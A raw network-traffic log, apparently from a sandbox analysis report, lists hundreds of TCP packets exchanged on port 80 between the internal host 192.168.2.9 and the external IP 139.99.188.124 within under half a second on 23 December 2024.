Dec 23, 2024 08:40:15.391072035 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.391206980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.391268015 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.391782999 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.391839027 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.392106056 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.392287016 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.392337084 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.409004927 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.409086943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.409158945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.409223080 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.409274101 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.409332037 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.409852982 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.409965992 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.410017967 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.410568953 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.410676956 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.410727978 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.411334991 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.411458015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.412067890 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.412081003 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.412122011 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.412146091 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.412753105 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.412873983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.412925959 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.413508892 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.413634062 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.413696051 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.414284945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.414335966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.414383888 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.414952040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.415065050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.415678024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.415724039 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.415771008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.416248083 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.416419983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.416521072 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.416570902 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.417304039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.417387009 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.417437077 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.417926073 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.418014050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.418648958 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.418700933 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.418752909 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.419382095 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.419430017 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.419521093 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.419564962 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.420100927 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.420211077 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.420258999 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.420789957 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.420922041 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.420972109 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.421510935 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.421653986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.422234058 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.422261000 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.422399044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.422976971 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.423026085 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.423073053 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.423721075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.423767090 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.423830986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.423871994 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.424431086 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.424540043 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.424583912 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.425152063 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.425235033 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.425280094 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.425896883 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.426001072 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.426224947 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.426642895 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.426738977 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.427362919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.427408934 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.427450895 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.428097010 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.428145885 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.428198099 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.428242922 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.428817987 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.428926945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.428977013 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.429605961 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.429730892 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.429779053 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.430288076 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.430382967 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.431019068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.431066990 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.431126118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.431782007 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.431830883 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.431858063 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.431904078 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.432516098 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.432595968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.432643890 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.433223009 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.433346033 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.433393002 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.433950901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.434045076 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.434227943 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.434655905 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.434756994 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.435390949 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.435437918 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.435508966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.436125040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.436171055 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.436233997 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.436275005 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.436851978 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.436963081 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.437009096 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.437542915 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.505927086 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.559947014 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.560065985 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.560251951 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.560292006 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.560390949 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.560439110 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.560985088 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.561084986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.561135054 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.561697006 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.561821938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.561861992 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.562500954 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.562571049 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.562619925 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.563191891 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.563298941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.563335896 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.563925028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.563965082 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.564035892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.564677954 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.564795971 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.564856052 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.565392971 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.565653086 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.565701008 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.566109896 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.566262960 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.566303015 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.582829952 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.582938910 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.583043098 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.583199024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.583327055 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.583391905 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.583899975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.584142923 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.584193945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.584235907 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.601244926 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.601268053 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.601321936 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.601421118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.601540089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.601576090 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.602118969 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.602160931 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.602236986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.602829933 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.602870941 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.602916002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.603570938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.603672028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.603692055 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.604307890 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.604353905 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.604403019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.605031967 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.605076075 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.605124950 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.605839968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.605854034 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.605885983 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.606473923 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.606518984 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.606580019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.607223988 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.607266903 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.607299089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.607938051 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.607985973 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.608059883 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.608681917 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.608764887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.608791113 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.609410048 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.609456062 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.609502077 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.610152960 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.610198975 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.610235929 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.610876083 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.610922098 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.610958099 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.611630917 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.611677885 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.611722946 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.612341881 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.612395048 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.612443924 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.613078117 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.613117933 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.613173008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.613817930 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.613859892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.613895893 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.614553928 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.614598989 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.614609003 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.615252018 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.615293980 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.615366936 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.615991116 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.616031885 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.616040945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.616734028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.616781950 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.616813898 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.617434025 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.617472887 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.617542028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.618161917 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.618199110 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.618247032 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.618875027 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.618921995 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.618985891 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.619642019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.619744062 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.619787931 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.620362997 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.620407104 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.620486975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.621073961 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.621182919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.621231079 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.621881008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.621959925 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.621962070 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.622541904 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.622594118 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.622631073 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.623363018 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.623404980 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.623478889 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.624017954 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.624064922 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.624125004 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.624751091 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.624799013 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.624839067 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.625484943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.625543118 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.625569105 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.626190901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.626236916 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.626296997 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.626934052 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.626981020 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.627017975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.627825022 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.627865076 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.627888918 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.628391027 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.628493071 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.628495932 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.629127026 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.629164934 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.629266977 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.629822969 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.629870892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.752055883 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.752180099 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.752242088 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.752403021 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.752511024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.752567053 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.753123999 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.753211975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.753252029 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.753842115 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.753952026 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.753998995 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.754549026 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.754681110 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.754725933 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.755327940 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.755429029 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.755475044 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.756031036 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.756135941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.756184101 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.756750107 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.756856918 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.757055044 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.757489920 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.757550001 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.757600069 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.758229971 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.758317947 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.758361101 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.774857044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.774876118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.774974108 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.775019884 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.775137901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.775191069 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.775743008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.775866032 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.775912046 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.776464939 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.776555061 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.776616096 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.793479919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.793569088 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.793719053 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.793801069 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.793905020 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.793945074 CET	49813	80	192.168.2.9	139.99.188.124
